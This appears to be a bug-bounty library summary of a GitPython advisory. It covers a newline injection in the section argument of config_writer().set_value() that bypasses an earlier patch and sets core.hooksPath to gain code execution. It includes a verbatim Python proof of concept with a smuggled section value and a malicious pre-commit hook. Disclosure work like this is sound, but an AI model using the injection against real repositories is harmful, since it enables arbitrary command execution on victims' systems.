# GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

GitPython's set_value() validates newlines only in value, so a newline in the section argument injects a forged [core] hooksPath and achieves RCE on commit.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by: aslein1413-sys
- Disclosed: 2026-05-08
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mv93-w799-cj2w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mv93-w799-cj2w
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** GitPython GitConfigParser.set_value() / .git/config writer
**Root cause:** The CVE-2026-42215 fix only sanitizes the value parameter; section and option are passed unsanitized to configparser, and _write() formats headers as "[%s]\n" % name, so a newline in section creates extra section headers.
**Steps:**
1. Init a repo: `git.Repo.init("/tmp/bypass_test")`
2. Create attacker hook dir with executable `pre-commit` writing `id > /tmp/rce_proof.txt`
3. Call `cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")` inside `repo.config_writer()`
4. Verify `git config core.hooksPath` returns `/tmp/evil_hooks`
5. Run `git commit --allow-empty -m x` to trigger the hook and confirm RCE
**How found:** Noticed the prior patch only validated the value parameter and reasoned that section/option still flow into configparser's header formatting, then tested a newline in section.
**Exploitation:** Attacker controlling the section argument injects a forged [core] section with hooksPath pointing to an attacker-writable directory containing a malicious hook; any subsequent git operation triggering a hook executes attacker code.
**Escalation:** Chains the config injection into arbitrary command execution via git hooks, same outcome as the original CVE-2026-42215.
**Insight:** When a patch sanitizes one parameter of a multi-parameter sink, audit the sibling parameters (section/option here) that reach the same formatter — incomplete fixes often leave the same injection primitive open.

## Proof of concept (copied exactly from the original report)

**PoC injecting newline into section parameter**

```
import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed
```

